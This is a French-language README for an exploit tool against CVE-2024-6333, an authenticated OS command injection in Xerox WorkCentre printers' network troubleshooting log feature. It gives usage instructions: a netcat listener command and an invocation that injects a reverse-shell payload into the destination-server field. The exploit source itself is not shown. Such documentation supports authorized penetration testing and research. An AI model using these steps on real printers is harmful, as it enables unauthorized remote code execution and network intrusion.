CVE-2024-6333 - Exécution de code à distance authentifiée Xerox

Vulnérabilité d'exécution de code à distance authentifiée dans les imprimantes Xerox WorkCentre via la fonctionnalité Journal de dépannage réseau.

Description

La fonctionnalité Journal de dépannage réseau (/properties/security/network_troubleshooting_log.php) ne parvient pas à assainir le paramètre du serveur de destination (security.nwtroubleshoot.destination.server), ce qui permet à un administrateur authentifié d'injecter des commandes OS arbitraires. Lorsque la capture du journal réseau est démarrée, la charge utile injectée est exécutée comme une commande shell, entraînant une exécution de code à distance.

Produits concernés

• XEROX WorkCentre 6655 (testé sur le firmware 073.110.019.14200)
• Plusieurs autres modèles d'imprimantes Xerox (voir l'avis de sécurité)

Références

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

Prérequis

• Python 3
• Identifiants administrateur valides sur l'imprimante cible
• Accès réseau à la cible

Installation

pip install -r requirements.txt

Utilisation

Démarrez un écouteur sur votre machine :

nc -lvnp 8443

Exécutez l'exploit :

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

Arguments

Fonctionnement

1. S'authentifie à l'interface web de l'imprimante à l'aide des identifiants fournis
2. Arrête toute session de journal de dépannage réseau existante
3. Injecte une charge utile de reverse shell dans le champ du serveur de destination
4. Déclenche la capture du journal réseau, exécutant la charge utile
5. Attend 30 secondes, puis envoie une commande de nettoyage/arrêt

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal.